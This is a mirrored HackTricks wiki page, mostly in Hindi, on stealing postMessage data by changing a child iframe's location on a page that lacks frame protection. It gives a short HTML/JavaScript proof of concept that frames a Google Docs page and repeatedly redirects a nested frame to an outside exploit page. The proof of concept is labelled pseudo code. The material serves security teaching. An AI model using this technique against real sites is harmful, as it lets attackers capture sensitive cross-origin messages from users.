mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.8 KiB
1.8 KiB
Steal postmessage modifying iframe location
{{#include ../../banners/hacktricks-training.md}}
Changing child iframes locations
According to this writeup, यदि आप बिना X-Frame-Header के एक वेबपेज को iframe कर सकते हैं जिसमें एक और iframe है, तो आप उस बच्चे iframe का स्थान बदल सकते हैं।
उदाहरण के लिए, यदि abc.com में efg.com iframe है और abc.com में X-Frame header नहीं है, तो मैं efg.com को evil.com क्रॉस ओरिजिन में बदल सकता हूँ, frames.location
का उपयोग करके।
यह विशेष रूप से postMessages में उपयोगी है क्योंकि यदि एक पृष्ठ संवेदनशील डेटा भेज रहा है जो wildcard का उपयोग कर रहा है जैसे windowRef.postmessage("","*")
, तो हमलावर के नियंत्रित स्थान पर संबंधित iframe (बच्चा या माता-पिता) का स्थान बदलना संभव है और उस डेटा को चुराना।
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
{{#include ../../banners/hacktricks-training.md}}